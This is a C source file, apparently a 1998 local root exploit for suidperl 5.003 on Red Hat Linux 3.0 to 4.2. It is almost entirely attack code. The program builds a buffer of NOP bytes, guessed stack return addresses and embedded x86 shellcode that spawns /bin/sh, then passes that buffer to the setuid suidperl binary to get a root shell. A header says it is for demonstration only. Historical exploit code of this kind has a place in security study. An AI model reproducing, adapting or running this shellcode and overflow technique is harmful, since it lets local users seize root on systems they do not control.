/*

	suidperl 5.003 exploit code for x86 linux

	Local user can gain root access.

	Tested redhat linux : 3.0 , 4.0 , 4.1 , 4.2
	Tested suidperl : 5.003

	This program is only for demonstrative use only.
	USE IT AT YOUR OWN RISK!

	Programmed by Taeho Oh 1998/08/13

Taeho Oh ( ohhara@postech.ac.kr )                  http://ohhara.postech.ac.kr
PLUS ( Postech Laboratory for Unix Security )    http://www.postech.ac.kr/plus
PosLUG ( POStech Linux User Group )      http://www.postech.ac.kr/group/poslug

*/	

#include<stdio.h>
#include<stdlib.h>

#define DEFAULT_OFFSET                    0
#define NOP                            0x90

char shellcode[] =
	"\xeb\x1f"                      /* jmp 0x1f             */
	"\x5e"                          /* popl %esi            */
	"\x89\x76\x08"                  /* movl %esi,0x8(%esi)  */
	"\x31\xc0"                      /* xorl %eax,%eax       */
	"\x88\x46\x07"                  /* movb %eax,0x7(%esi)  */
	"\x89\x46\x0c"                  /* movl %eax,0xc(%esi)  */
	"\xb0\x0b"                      /* movb $0xb,%al         */
	"\x89\xf3"                      /* movl %esi,%ebx       */
	"\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx  */
	"\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx  */
	"\xcd\x80"                      /* int $0x80            */
	"\x31\xdb"                      /* xorl %ebx,%ebx       */
	"\x89\xd8"                      /* movl %ebx,%eax       */
	"\x40"                          /* inc %eax             */
	"\xcd\x80"                      /* int $0x80            */
	"\xe8\xdc\xff\xff\xff"          /* call -0x24           */
	"/bin/sh";                      /* .string \"/bin/sh\"   */

unsigned long get_esp(void)
{
	__asm__("movl %esp,%eax");
}

void main(int argc,char *argv[])
{
	char *buff,*ptr;
	long *addr_ptr,addr;
	int offset=DEFAULT_OFFSET,bsize;
	int i;

	if(argc==1)
	{
		printf("Try suidperl-ex 1240 (Redhat 4.0 , 4.1)\n");
		printf("Try suidperl-ex 3092 (Redhat 4.2)\n");
		exit(0);
	}

	if(argc>1)
		bsize=atoi(argv[1]);
	if(argc>2)
		offset=atoi(argv[2]);

	if(!(buff=malloc(bsize)))
	{
		printf("Can't allocate memory.\n");
		exit(0);
	}

	addr=get_esp()-offset;

	ptr=buff;
	addr_ptr=(long *)ptr;
	for(i=0;i<bsize;i+=4)
		*(addr_ptr++)=addr;

	for(i=0;i<bsize-80-strlen(shellcode);i++)
		buff[i]=NOP;

	ptr=buff+bsize-80-strlen(shellcode);
	for(i=0;i<strlen(shellcode);i++)
		*(ptr++)=shellcode[i];

	buff[bsize-1]='\0';

	execl("/usr/bin/suidperl","suidperl",buff);
}